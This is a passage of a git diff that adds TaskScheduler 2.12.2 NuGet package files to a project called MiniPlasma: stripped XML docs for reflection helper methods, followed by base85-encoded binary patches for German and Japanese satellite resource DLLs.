assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + + + diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/de/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..f2da93214c2dfb1a02e029613f951edcfe9e776a GIT binary patch literal 9728 zcmeHMd3+RAo`1z1t^otc5%56*;}M#q6C`8-b94xigewVQ_<&gHe%)Q9x++vv0|`d5 zyQ8z}jLI<_JC5$|;DO_~uCs&UiN;~^LfH{#Kdhi1omrQUjDjx9>Wb|5_o}OpBp{#N z&;B)2$*X$r{qEzvSM}?Y3r}AG6+^{IpX0 z=H!N`X7g6dj96-n2UWu`9o{Us6*stM@WA4F9y3G2H*DD8yaekdRgBdtec6^7v8X5Q z1J-Bq5M>Bs<1sVXo&9t+o*bfcs&FdKKD!YwP=|A;M3~372 zec-#8I%SNF9YCFK*UgL#?KX8;L(bTsG{iv|FGw5v9I?^C_&>(s2AH%JdZ%BUv73FC zZ3QtYbt^-MnC76RU1iYTX9?W|qSWD%%-yl%YS`> zJ@wA1*YkdRN9)|pKRfr~U)>gXd&Q!WEzds{J?wv@@6wl!m)`gMh1K6Y@b#CQXDt3{ ztnurtA6{8DbpJm?*Tb)U_JRT>x1j0uZMGv~zGcET<5p1E$=))dhJ=;RV|LKAbgem` zFBg`rna12=UjhB)^UApH#4Rz`5OK#+^?bf0-mGiEg`%y&Y!SxX=2^4UnZcRY7tSs! z76m1KH7HknWfub z|McVSLzKz8zW%2pd(MtL_u#05cRpHbF8Iav`dv@_@_car&Z~a?!krKO^yNEmzwmPH zdmXR*-LZKGv$_B9O9zS$k9ctA;oYx3_|7AHw;V0qa_VUN5A#0E$_<`ez5LYag;&1z z#kdVi&))jM#sSZ)o;~b~yYCzR*JF>5*b$#PYTXz2k2(0riE$-2eRuq9v{JNSxO)7m zTb><1YvEftV>kb2&af44Om3(@nfvgXM&Dy+ch1n7)Z%gf{oql;!w0iQwh6g@g*lA=pjkV6M(z}kW{>hNFH~n(Z^ytuW zw?uQk|8LQKQ{Rd0oTj#Y^_L%QI(ht^j>qclTW`bWvZ8xJn#eP|2uF$gslB&_oA%;{&c{9gLV}73xPKr{C@);Kf`k`;IHAi zfbh`|fqo$H_Cb$z;8zaVe_`AR{MC5Ahq>Fq;|t7p0e1@Ko<3#!0JF^<4x59Iv_1oS+mqN#Oi=HsVCY}@D;L!*h-+}^h8+(1Qj7^V__ih-VoyO zlmUSTVrcY^)Cgb;8d+|zPFGZV+{-cD#u{NWt&F>XFgDYD6`(cY|3Y?OPwGn8K!K$- zR>&R)!uU*T%2`?Et2XMunRyfxI9!h zHz?J|V$aFTB=S~<31w)F(3)stQ-Ijb)+)9hPNd{5WH4;n*PDWe{Sq1IyJ&|b#r{H@DU;r)u+tE_-+zo<~Oaj`3Xe)Nl3EG7Xj7;eu zcVqyAPLfAJJn!;}-L)T-3_TXFg2nZhVnHs6frK`XOzCvI&beID-eeEJIqSa^gG^6Q z9t5#jOaa*?Rn8=%9Y#-()_$8rZ=cCz(FU?^8QXyH#Nd)bwiUo`De0Z<-q!RWP`V|L zhmyWQ{R7atZ7?2MYMVNEairAxe*5A&c}wkg7w3~&aA$zjZMX3>%3M?U8e!LFhO&1= zck$8NoUeEEi!H%1ASvygBr{m4v#t^+D!o?G8_jHxUnELiC>I0eB2j7r2Z7Y19i|Cr z-F%V`F2w7Qi!6ZHZ7=XZ#K(In@aAl`6$GQ2lCM)Kz*_)}A;5fOT^LI-niO(09b{pj zaFU=C0F8C2=xCtRBSrUnPgbqm>r+&J@TkbE?p_f}vOMcaYXB<^EK{KK04dp(i|eK@ zZeA-|9InR0Ry-^WWyBJ<$PnYUqgoDThE+|kQ#GC2!Uz#UozO#ZBf?dqU1$-^WNj+y z;F}6cmvksuYXxw4gBno=ZYreN4n^@Pf35^nn+H@U9^-K%#6z0kjZq8qPCjpsb9^px zfjUNmr9~p>tIc}Xo_H9*Sl4ql1am_TMkQK;jO&_!>=d=dBf{0#;i!awM~kDa*M#Np z4Vo45L7xKXQwV*gD@wjH#MQLUG*m|!UnioLummp$k!e6)NQ5PzPJ zFONH>r3?v(q(o(Km1e*Wp+y~KKm~OiWkeIyfS>J%2zNaf1?Q|rqgk||mg6Yjf%U@X z6~c%+?f6($MpOtb#@(-8X_hj<119Ce$b?SH6^${9fYZTK0T`2MHb?@hqoOsGRC>4{w$_B@H)zBuKzQhYod zQJaN8QwQVXYlmggND!MU=wjaa-@&XJaCtyJ2y&5=n}cV?|A!R$RFZ zm<#bKSCJImY*BSsk5WoAl8dB}6^N40^|FW1V8LSqPB_D-m+8C;nnrhWmLmAZ2wI_nwQB=7CsI-j$>ZP1Aq$b8|g|KvNaLO=3 zNM?(YB^SRWP3umUNIhaYV|v#f?0+(pqX=bX98NGoso4Qo^f6UehBkHW3r2$Qzvhm{i^k+Sh6ItT#;7ulRy*P2d8<9cE!1-Oz8DU2#{i`S+l>y6X7sInwIPLUY zxdEQTGhk_sBT%@kzp+AL_`1PGHO}=^q$?^YDwOrh{y0TZw?xam6-85^QOm7&EF__g zX?6f_@F=;k+{Su#2z@FE=T=DrdEY4STjc#Q-05LbM%YY@IL)IN%x_ozvQ0B&a#OLUb&K&B1`HhMd2d( z+*M*uof(SjVjlDAp)6U<4C^9D>xh-(kc&0zZ4H{Ei*g6vZN^^5d_f#7Nnk+OK}%~T zf)t8JN!z1pwDkmF%MHbYPESCk+1iHlHrfklzNU*r%{E0>rv)w3Hp7muNi&N4z6RB9 zsYgnZaTcoNUKu!~>+CXdSx9^fDzwLj;%I5*W!r}zI+Eh>V+1FMvvYfAZst~O!Oz>S z`{vM_TU0jasrFUN#}$8Y$EXSGb6QtE@qXSzD@qDJJrT?~{^Eqk`*B4X-uX9F$?w<6 z*miIjK%vEWS$%mS{p>;6vwuq8?>+pBP3=p6w5Pgj#~b;Zi`CPo18a6{{LzBq(jWZ6 z*;cjeQ0@L7-*xqK=hrSiQ+nbjISs$tw5#|vF;Tz!)#2OwlR1=$cf6^nyI%MC#&~7gg8V-NVL? zx3=QN#mCrag^j4zoCWb_dM${>4b5p|Y=XkZB$JxIyqEh63jEXk1^$_g4O7@4zpv2m zgVBt=lK5=~@n$Ee&#Bk*@_xf{A!{m4E1>Im88+OtEQF7eovsU0!9)HU=Hhn0Lt#vf z?eSBOyYoV&&P)n->!70TiZZum?!gcAFGhDcs-J6cuVTy4t3k>J8qcgON}u0HIB1S2H4+{-+^^bDXW;7Ua)`g)-%PYu4wsEA8f9xV%5>ZLC=8}L*$ zO(L)-`f>WSkmX*g)zJ4`PflNhjlv3&f5oV9!UycMatiZQxQNN`b*g^RAwvaI6ZJ3+ zpDln0-0MM=duc!=?(YC56?bNC(pZX^@eQMSi6+q`jPaE zgDY7@U$d<*KdqQ7xL5Dn2Ny(y}N%2D@~q$U}y4R@E}UZ=ZYaE8($b z)~xxX?qr{{AK&-w@3p^u&$k^j-*=kZMg#J?=vcw+pAFEGeeb_apdf8rhM z(hv#<-8yQNF*ar(HPXsz#)hU1T~(JeHaH1zF#7Y7`TGWJ`}*orL18u9Lqja}|_mpT9VW2fdm^_tr}{PzuK&wcfyXP19eQMD{{rkXu; zue)D+|HuQIe^RcO9Gdf4-Ih}w}HATmxAECa7^96a-a0w%Yi8cm&!E5d&Ri z?dX;{yEsrlfBC#JYPeBb%r-^TwN)dZH%40wU8@tF&DL6B&ThH+W_5-(%f*rO09X1?P%Kl#FL+E&+MA`>le1{z5k^xcV2v{{&?4~ z9ym7Vz(^i^Y>9$ixHhwSf#E@L=UOoKv2`eYnHUHBGb=~I3rDN<1D~z6FEAPu#bL*3Xr?(Fsds}$Vg2s7__W*V>#-2va!q_RSaWC3m25%przMhG8 zIn$WSbY?LVf_JhA6RZ-wFt)Ucu@EybVgnV#`U0+I8vvlOD98vl24GYB0&Bt~QL6@J z73&#N>}h?2wu6E7tN|zv{#4e6Ry`>5zBo%Ju^K>GRcrxU%F3~X!K#4W2^woLF*>n! zGR|$@6fx&9NphHwNU%FFbyGE@x51FjRzX8HcyE&o*^q^hDgf9j=LHD3SkT7v+r){l zo8;v_#>9kqQq%2nAzCydu~gvEI-de0yB-TU80bCyS4@v-fRM{$LN)-)1ZX=D6c~6y z1FT_SKnGzmU-J468x9bj4w5RF!)^f3qCNM=Bhy61_ggp7qC%?2~#f*G+(k?z@`GU;Oam< z-yl~n2U1=tlD{)7FhhHU_CzPE17Mo0)vN(`|BxxG8omWOTM+JEa3t1SjMB4nW6W{*}QJ_WT17N>ULh2vI2Z&IyXbCVG}s zkk>N-K_|)kK%R5;$ll)9Btf4Zg zIY9Np?}W4fzLpEP2XC zoN(h)t1&gk!=j^sPLBkh?yprZV|@Z^osUIY^xFbM2ld0cYOox9 z$w{2BFdcP`P=;(O>f)OUN*lYB;jR_39B!b7dLC09WzeQVn(I=OfYM&C@>Zd>tGtu9 zTeixD$=5{%7aJlv^$f0RuHK=BESrZ!3uYZ*^9U9cwr<(Nfdqz{g6asQMMwy40XT*q zz^VmUwGgXLSCo8ZC~+E94ZK{TWG_)|T?H{s!?!A^hD0lfgj6S>OlcCauCOhWcL0(^ z5sol5eC(RUn{bqCNTLDdQP;AS%qrout1Y^ryO>o5RhwM13{@FWuRE@#WTG$D2ra7V zP@$3mXw5P$O$Y3VN-(u9szb^s_`_PtsB$AFkxdG5KtqI8B?o9pEbs_Ev@KIL^o_LU zsB-AVArrV=NE(GyseENzuVFHVv!vTarzTBEO;ATO_*MH zVm_~h;$6K}hh)+-j1>5ZP@)+kH{}AljG*PXJwJjLr8im1*cbr$gme}GS8=2@g2@^J z0n!cmjTAiCl@Eu5=&nxwXpnrNE@eghEwFPeO5sUyY;tE; z#i&vU14p7g`^eewA2&7>l+SGu5yXTvZOpX;N@gWlI^NBJqk$ZpOKc$Fun9F4TZ$k8 z3ioC~IUT^Waey{{D!whkmaF;%^7<%TMaHpr(dfbZ`G)J&Gxdu`4^oMrCLdf&sR@$Lj24u|41L zTo*wY;ebMdBjKGsJ#uEB=pLP5*JV-r6O=L#+YQ@W85FURp|dSzpoSnu13k|gNZO&{ zh_)y;r!o*BToZOh)7L8$h7URv%CmM*qOho-sBk8Y48Tc_+$n1AW+ZL_Mm4v|wRN-2 zA&C9>&_LRUD-#dwN-c@ML!2Mx5BVm(5Hf~G6?z1A++RQrWCQ!7(f%J zV*Ks5X`Cu!uf*O1*%USsuod#TNBc;fCF;P-00C^D^&bQlV) z&pjq)H6W}SVh;0jvMioZZKY!z2OcYT;1w-KXS41aqTGdcTcWOD0S%{Fe6k9G!qy{% zkO1*9E3I%uH9LDxG|H&%_MWJ;BAp28?R`w)v=FhpaRRSF*KEtNTHU}>-7E?QnpJ0Q zlh!UsI2)OIKNTG^40e^UOgL8n1@}0pTsQ4u5>G}KWy?-rx zb|sPUMy+-pSj$tfb)d+gi?BzZ~~?f37IQy8oHw;g+SF zu^pf=kW7pIqNegfx_Tk+d1mr8%YXdXri}}~|6one&e!s9FILZeV3dS%#-ekHqZylvM) z-WTh{(%(;3*!asT6N%q*3hVw5it5l2vT-&z*qR1@c*T5*uea3*l*n6gQoHSf7X}JA zj%OakyTiL3aJbdV$)G%LQGg>%Ah2@PFnF8?PWDh;EWsUl34vb{_%+Dk6CrE8!)KNR zc&!T_!Vv=pDj1?AHJq+y8$w=Nn=RT@H#Qu`RfHY^uW>erFRVwDh+TPJ;s+J^Ja?jz zh-JG0#zraZx*FY`7j5D2`*76M-A=~FDQtAysrgI$c(9-#I6YVp#O+U}!UhKeg~0%X zM&3GhKLmTTTdB>d)w}rjNQ|wjwCpOwXi#<2+s8r#$kC}>oC17#8`qn{7bE}w8i2Ea z3ETm6r}E;RdT@tc;{-Pkby*qCH+-D>W&eO;G?%a@B;A)F(Y^?+TBN+^qhE{XT(qe? z-~SBK;Y#eZ@K23?>}zt?yVs>)lU%CMQ9zZFlJxaTS-x6)lT#9(N*;wIM&I@HrS4!p zkxi8V?1}!A@=(B&3n(v{+?AfvE?_+K$H+|U6#tDM3(C9c9UUqjhXI^Zc`ZXqA4 z;}e$BZ5-=zygmBFC5=!Tj?!P0E$_t0ddX)*UfkH|dsh)$epwSnA z8A*DiWF%!hNFKV6q10U%Zw?4c_Bp=j2_}U8dO0(bm4H_c+Yl|{Gz@41?^aY#LzF)t zDJd%ulK5>bAAPzrYQxHuJEhfAp~F%l;>o)o;W7)Istxb*%a_mR$=9xzy(8ImwlO9j zB}IwPD5#QDl-)oG#r?*JxV`Bjgf0)}<4w6bDm9?tVi!bVQy%vV(lU)B+@geVX|Ke+ zl`dKwscn*gi~K@D~HaI~wkR2RLL^@*kGZjS}E+O4J9Rdm_5b}jw=zqxZ?c}UyS zb9&D1B;VZc@qhon|9@uwU(+}Du+faMF=&@BGxiLA>8cR-k#GH2&bao+8SF16zMl7t z)cAT{YnN*AkZE+9a*+FFT{mpru5dG~b5-Xxt6F%_2q>QP^t6H~>E>F-8l}-}?~TDO zm)rYnRNf?M5@WfTNpogzy$Qb@tpbg)DWX5hk((w+esT5Vj``0IFz8ir7lG1${5LwJ zDO_Vfw~aa#j7=X$os?@cW0O;+u4u>^n~(rF0pt3FvBy?=Y>Wdlal@L>6>=wDoUzRw z(=z>-6tY#ILqunzC0rGd-eW470YD+^W-Jn|d1wh&1!GkSL(#1uyW%3*MzOJM$|A;o z1!GPWvyA;UXYA%_j5Xu8KRP$k&&&_D|4r{TRbzG@y>#=`T_+wmx~A>qgEv*5sRS*d`dm&$^ zn3ihjOG`XO^jFBM!Gep|H4Jyvf>h@ zsI)A9Ftf03t3k!(-lEv#m%6A0n=5PRf7*e?_hqB8lOONdaNmpj2Cn{a-{y;}_rLnf zkM>WJ@(%sxr)Q5`n)EMlOn_QCfA3s^Lt0!|=%MA}!zIQgG>d*hI zrux+VZ!iD!?$dS0UOjuu?2UOVTL1K;75#c<+jR5N1}*Z=#_vtqa_f^57IaO{+1Zu* zhyU31)ZDj%2j|JXU;e>|J1(4mtMBm^>-M{loQ|Mv#hxs{-fuwLi*^T0Sb*H{9{O9x zGM0(;(-@zGeOs}HlpiO&>np(5p#M*R{Q$g9pzT3h5BLRGe-rI(z^?#Y2I#*D8sEq70M=i@Z#}`I z9{~P%z&!;ywt`+I*8UCSwSeD<-*cF|8#KPad<3v_F!u~v7Un(ykHhF+2iZPCdp#Zf zO6F%aQ<=eZDBjCLOkvd+1rgFR<^oK^j0sc_8w$9V^#H)n!XTrtY=F%h3akZ-M6DK- zW$@FO2cS0$4cY|(wy`FlSoo7!Cwi*^&WDmLkwgc8vTE2W7P8~K z6LIczmPj~9NYX=xMhe@7rA4*S-h@CV+XM@lkiAm~WI`80ssdn#SXV&62166~dr1=4 zHi_(Jzyq`Eg{8X$BVrm7STgX4Pd-3qG=hWvB?s0lzFqT6&aGm zkRiyOMAHR!OhvY?5t_=ZUC0_>_W*46V6fGotB4k02LO^g7-S6qWVoc4Jq!Ro6hIi3 z(!o%N4+n+@T8qWo&`5KgopM+u`n?jC8;o5I9mug1 zV_x=a0L)0nraemm(u?J3i05IKeXJ16P%}}u8jv?Z!42vnRtKPYBLl4z;uf)W04=&Q zP-kz@R@Z@4kc{L;h5=zHMkpqFSq}hHl&NLiFd}VUFFQCC9e243G%T3K55Q-y4A93u zyfVOI_A3CU_^<(DQ|x$II`U|W*p0APCz_6BFP5=g6MYa5NXLt70g_^&WDqB1dD$NU z5aE#Ii}_V@P=ep z4h`r8-y(o}h6W!l1Z#m(J~T?Qv*ORXYCKWtwTj+o!ayI!ORg(-17sL4wSj_ytw$M# z-Z)cilDO=}>yQKd2mn)ZfxAR>+?N7(&SHNLgsisM>r{Lp4= zamhrUuwzSQSeou&(W8N$9&x-XEDBzYBG<>UR=QYZRVP;jVkFyKZml4tf@FND9ZOPH zWhkU*ipfz#Fxs~$Hm_dQBxTn`27i_cWij|^yv-!=_h z-5OS;%*u`q)!*g71QpAYI~8f-j^aMPqo};OPs*^3u*EgS;#)w#lE&}w(o&x!d8A!Z zqs#-ct#HVp&C4$?yQxdTCn67szS0v?P1(jrWOM>D2O0z@2t@`+v?yN+)My}hq^qi(7>G^eCo;!=QhLY=D3!@j zTzC_zd0U`SibVxTA?!vwlr}Ij2-!o}&m&zoBwY{;sFp43{y6dCA&5Ib_VDBvI^@F~ zE;Nm>s%ex49D{+rlVKE&s#LeEYB8xwT{Ou2-@}~YZjgldjFOe6#yk(3iQOQjCq?ep zMQa8kKQW_TO(sEVOxWI1UewtXl5nu8qEL(oa5iGCeTf?$#Mki78#52H@ zCI*ynk29BsN26+qKC5cErAlJ>ro~0I-K4$8e=an09U+!98G*2-EMsonnZ=669rTuh^u#JHIJ{l!ZB=beskC9;c6gY1{I+4n7HbsC zZ>k|eh=aJ8)kxp6-aB}q*#vvPJ$Rwo2=$t3XV(x*c+x4++ISqVN%fnCWpvn{HdQb7 zd0J)bwiaYiW@)=$&e%Vy^x%y<53be@ zFL~$stByT!-|E9Z+VG={J>|L6Uix_V#mthWXCM4|=gnu&-IM=eZgg;RD35s*;9&sa6i?PP9+QESKkzuxJH@M;62$QzUTQh^ zM8Mc)@v>46Z?GXlFr?ur4}plKACG*!vyjW3ou<->HyCF+h~pMD1X*KZkX+zLlt^6h zOjfr$k3TCM3K^!2D)cmoO{r7u`fxkPz7K|V)$V0%ro^&io0`8czgBcxcnpb$KpmiPOhq zod2&Q7!smQ$1X~i(0L-jRDz;?W4ca_Ex~;qs^6P%uVrh{Ye30+CB_Z7 zFGruQXUBZ{pA=h8CUrCFD0Z`0blU%mC<)S zeW_bmk5^L#06RX0qf{Y@azB;d=zD%JrQd*z#EN2nC8%)22JAEG6U}8xv#aD1wVGYr^p28B`=N zsSwMVFFK~eDt(+gB|YM10GC5=rPcSSe)X@C~h!q(MMy`0YS* zEJXDK(vqqI0fFDi3NfZLqfT(9+9`Q289FF5q5`RNKEg#6I@ub|;g_qQE0b$or+P=a zt8BaA;MkGm41+3ZMb!;D8}CRgsX`$s$Cw@c70H3-KR=b5GmDmRrdFuJ9j>k zA@XdW{#8$M?wpVJ>%8xK-gEDJTE4i0jb@CELA`j9u}ASsrCK~ke)MBHXZDYB*bm1) zSNN#Z{9Ivcmum5-X@pHV!h^D|8#eDyxEa&As`I*K0Uj|zif7WKD~jW!m)A4aERALZ z^CMj@w^M9X;RI;{V+9zw!WsRz62Ba^8kMohqCLuyn+8aJQTp-3c>R8cbyeR^p!A>o zjdy7XWk2Y)Q=^)({IS#+Qr0szamdhRbva|>QUJ%Hzci)qv6am>`eUZ!fjO~O$emg^ zW9vPpWd<=QWUEGlh|WSyDb{O@dfc=k&l zEb6`G*L6QUd**y)Rn~>zzW2X;llheQ!zJeyc2u31v3TIn+TxXCc5LivZTj_K*!Lh-ngdaj-~hCzPivp(wtK` z^MNzRmi=7;4`o9Tz_uG zuAiTIW7h1Fuf2xaG6cD^aUZgPjf2 z*KB=k`huok6y$IFL&2og&la`@P8WT5-73$a3w!3P?Q;3F|9yPn_RYCB2Cm!Zf9-fq z&A)x8uJ*_`UR-kaj-w3+e}4R?S!)ZMTL1ZtrhYxQJ>R^rMjL#2?KdafddoxO=585+lo1a6tQRaqQ3~^-^bX?*^KFc?}u~$80`tbYXIC_)CRP7qFR96 zi#Tuu?QS^HOtKfsM}V(G`%S?92D}cV?m%4)_<5Lr0rf?|HvujO^j`ptf5q0CtLb1q5s`H1XUD z)I3)=sq9W;V%Acj=`O*Dm_`Mb3_RlV9zdoygOP=S;nNo|o!^2*ej&cd7GUWB?E=CF zM7{;q&@iBaFqtovzs1JF2l!Bs^p#nR1L&FnNDj9|Dz(MrPpy#NVjG}r(u5pmzFg>v z6iH&pWDKI|0z0ZAUDt_~%B(}k8p3&wB@72!0lJE)A=Uf4d)b}Cv1_pgGA!*e zFWV1*>FL`_r(^zJzaCIPWf`YrLOW8XBnmaPk%|hH#_Ax+9FAvo5 z4RZAz)J(iDfPil#0_mC{KL{dN z%*63LqR8oJ6k)VDYAsMlod6l)JT6FT zfZ7MJApyn(ONJ?WnYjc|a(_Q{X_?%u_QIv7qxDuuBsgD78UAieV13H^8 z8*fCO%;1;Wf|G$#l^G@7Sjn@l7AGpbR?!yQIXuew8GfjdQX+?N7(%wqQfA+J60I+dLGZ%j<3i6!v5PHe@l1d~&#Qzqhs zotSzPQ~3@S9SwAPB=OF=yqZO9v+oj48 z*;F{P2u3)p*tWrIm$gWF{_buyJ|53GL}cm8MjfMomAMj;RZYrmF)Vz&5q3neEIAxj z4Qc$AvOd10v}$>ulw-$iTjeUpxT&jB_7*Qq^+}RP+R!ZXkZgk#*X9mbt8Pe1Jv`7f;pIUI=LLZdK70E`xcu zY#SahE(K#R7|)ZW5^16<7o=9De19)KO;sMjC#f3Mh+8Kp*@`sNFDTHol3{u@EoH1f zW*ep=jjK~FxkJ?yDZ3G?Fha64cDZTjwjpKJ8m1*n69Pd)H>{uv1Znb$n532GBd_!4MCae6r=T+nE&bNaKO4m|`zYEWGy3YD0A@B!FW*wCP* z1`SP9!ZPv*uB1M9sa8yjFQ1GorhR=ST;@^Pv{m>_2%ZAjLw!|Y_)gHVz?qWexp_Lnyd{aBsAUe`@bp~8g?#2=XIL1o2sYVqnN^xuzcSnyj zX&IR=(VZQLX_}0s>N>eNxgAnZGJH}dAdkcwHFqSWBD(@O8)Qi*afl2gOeJE#zHxxL z;DK$UDNwY~`6UPy6I=(_2ZcjItWAcw!Lnr=a>Y&HkpRW5PlTFkxyx~!-L>H4q&4F9 z8K2k%BYFN6D`JMNhE!QMq=}FK0mJb)=_>T#$Z^LZOG#7xTt-yK@3EQbi~gu2)d z_@%TQ0#ddGAJ7q~vfx6!a!uf-8j0a62ZeH--IS~=D=qViJZ2V7Q{*pEi*7^m6kt?~ z0tnQ4*upS7f){k8URcqp0DBs3N(~n^tZJ;o@2}7=KrO1#j1KgvpetqPAs}O=OH|)I9Rl<@oXWR&8`y9Y2sNZ zo}Uv>uXuXc1a_2pfO{Ix8SJFwVMSu(Z`gZim$95tWBN(MTYHNz$hITu!Wtb<3Lnbj< zr&vJ*6hcUXxR|wwpR(RFd;+IYC>FGbPt+RG9vrt_8K#zCf5daQNxT*{Xd0H$X?xmL zz0Bunm8}hdV3$IRGm$NK)4?H4W0wibRQnS^Aw7;8TTMwbTOQR;vcshWCxx@cg|`L1 z5?<4E=WCOz{y2F2G#mFHy=&U0m7n@*-i+>o=ocS+t@!@c6{Tlh4Hmre_>Aw5;gXco ze=jS>jX^(SyFg(qnHK$(0l$~7KgfFyUo-j(-~HZ}-W7N5Zy4PDY{|BA`Q3Nx*6rSW z=hE`3FTZ2&tY7(b^WkrN?b`qR=+|NXI+t6%==i>0h8G_{`PHJ={lCcCxqJ2Ck#Sdi zT@Su@`jPv8+N89)3g>@)tx=9C?0ZpDi`N~7KOl1%cmNE2H>c8 z<`28-b52~iVt=}toFii?23J=*cP8%qk*snw+mQWUhi5%oiB=<0-Z!J)i02Ztsr-1% z*^h~@b5gk{)+n}E%sThF6zEb*9Xb-IQc{w>UMb7hh;MRA;!`Q6aLDMpp1#yA%qO#{ z0)Ra@hU2SK66t=*)zSC-a7rJFs9MV0zj9=_p#%1=^fquQaTO8y8p?js%LOIO4dg>r ze8N(?je{@8uS1`tq!CKPQTmIr58cO5>Mnv`4hX^^=ypLdg#IQmQ^_hID~D}pmL!b;TElNAs-q#wAJ8f( zD-aU+VOD}Z-5G_!nR2IOy>#e^SP>;io%<0kve4<;a4x^x^|>;++I6ybw04#C3J#7Q zNzNFk(yA!Cf$)v{jjIy&ri&1|Jh&OZl&hoC02(%~+hVXOPxu9CnZ^<7Q9`)1ml8fk z7cG|1Hm$%-^b*`~D|q61Efbb^tvlSdjFscR7Oc{+QR<3(Cx%@`&7YC>yK=*r2QcR?pC!x(1= zpkbfbkv`nJQp?A1U?MQlI+n%pX~z*&cTZE#vDRN|J!^!0od`htjZ*1JE&h3Stq^ui sr#;lVnQXgI;Q68V^oVmgxKQb*<*z{lIMC=jnpOQZEcVki4%NW_0h$r&Bme*a literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/ja/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/ja/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..f3ab60c75252f4e3128fb183e40f42597f17dc82 GIT binary patch literal 10240 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 